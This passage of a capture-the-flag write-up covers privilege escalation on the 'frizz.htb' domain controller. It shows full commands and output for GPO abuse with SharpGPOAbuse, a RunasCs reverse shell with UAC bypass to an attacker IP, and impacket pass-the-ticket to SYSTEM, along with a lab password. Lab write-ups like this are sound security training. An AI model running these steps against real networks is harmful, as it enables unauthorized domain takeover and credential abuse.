PS C:\Users\M.SchoolBus> Get-DomainOU | select name, gplink
name gplink
---- ------
Domain Controllers [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=frizz,DC=htb;0]
Class_Frizz
We have an OU
called Domain Controllers
and another called Class_Frizz
.
Check which machines are affected by Domain Controllers
GPO
:
PS C:\Users\M.SchoolBus> Get-DomainOU | foreach { $ou = $_.distinguishedname; Get-DomainComputer -SearchBase $ou -Properties dnshostname | select @{Name='OU';Expression={$ou}}, @{Name='FQDN';Expression={$_.dnshostname} } }
OU FQDN
-- ----
OU=Domain Controllers,DC=frizz,DC=htb frizzdc.frizz.htb
It affects frizzdc.frizz.htb
machine, which is the current machine:
PS C:\Users\M.SchoolBus> $env:computerName
FRIZZDC
Also, if we check what users can modify this type (OUs
) of GPOs
we get:
PS C:\Users\M.SchoolBus> Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, @{Name='ResolvedSID';Expression={ConvertFrom-SID $_.SecurityIdentifier}} | Format-List
ObjectDN : OU=Domain Controllers,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus
ObjectDN : OU=Class_Frizz,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus
M.SchoolBus
can create links to Domain Controllers
OU
, allowing it to add a GPO
to it.
Summarizing:
- There are
GPOs
in the victim machine. - One of these
GPOs
is calledDomain Controller
and affectFRIZZDC
machine (which is the current victim machine). - Our user,
M.SchoolBus
, is able to create new link overDomain Controller
, which is anOU
GPO
. - This allow us to create a new “evil” task through a link and execute it through the manipulable
GPO
. Since we are able to write atDomain Controller
OU
, we can add the maliciousGPO
to thatOU
.
To add a malicious GPO
to this Domain Controller
OU
, we can use SharpGPOAbuse
tool. We can go to its Github repository and compile it in a Windows
machine; or we could download a pre-compiled executable file from this repository. I will choose the second option. Once downloaded, transfer this tool. Create a new GPO
called gunzf0x
linked to Domain Controller
OU
:
PS C:\Users\M.SchoolBus> New-GPO -Name gunzf0x | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes
GpoId : 90738160-1f8b-43d1-bd1f-1c5eacc5e882
DisplayName : gunzf0x
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2
and use SharpGPOAbuse
to add our current user (M.SchoolBus
) as a local admin:
PS C:\Users\M.SchoolBus> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName gunzf0x
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "gunzf0x" is: {90738160-1F8B-43D1-BD1F-1C5EACC5E882}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{90738160-1F8B-43D1-BD1F-1C5EACC5E882}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
We could wait until GPO
(policies) take changes, which could take hours… or we can force it using:
PS C:\Users\M.SchoolBus> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
Usually for these changes to take place we need to log out and then log in again. We then disconnect and re-connect again as M.SchoolBus
user:
❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb
M.SchoolBus@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).
But this time we get a permission error.
However, if we go to our f.frizzle
session, M.SchoolBus
user is in Administrators
group:
PS C:\Users\f.frizzle> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.
SSH
as M.SchoolBus
user since it is now an Administrator user, and Administrator users cannot connect through SSH
as is explained here. Admins must be explicitly added in SSH
configuration in Windows
to be allowed to connect through SSH
as that post explains.Way 1: Access to M.SchoolBus user with RunasCs Link to heading
We can try to pivot to M.SchoolBus
user internally using RunasCs
. Pass its binary (which can be downloaded from its Github repository) to the victim machine, start a netcat
listener on port 443
and run it at f.frizzle
session:
PS C:\Users\f.frizzle> .\RunasCs.exe M.SchoolBus '!suBcig@MehTed!R' cmd.exe -r 10.10.16.4:443 -t 10 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-b49fd$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2764 created in background.
and we get a shell as M.SchoolBus
user; but this time this user is at Administrators
group:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.60] 63780
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
frizz\m.schoolbus
We can grab the root
flag at Administrator’s Desktop.
Way 2: Export Kerberos ticket from privileged M.SchoolBus user and use it to access victim machine Link to heading
Since we have seen that our user is at Administrators
user, we can request a new ticket for this user (after this user has been added to Administrators
group):
❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R' -dc-ip frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in M.SchoolBus.ccache
Use this ticket, that will be the ticket of a privileged user, to perform a Pass the Ticket
using smbexec.py
tool from Impacket
:
❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-smbexec -k -no-pass frizzdc.frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
~Happy hacking.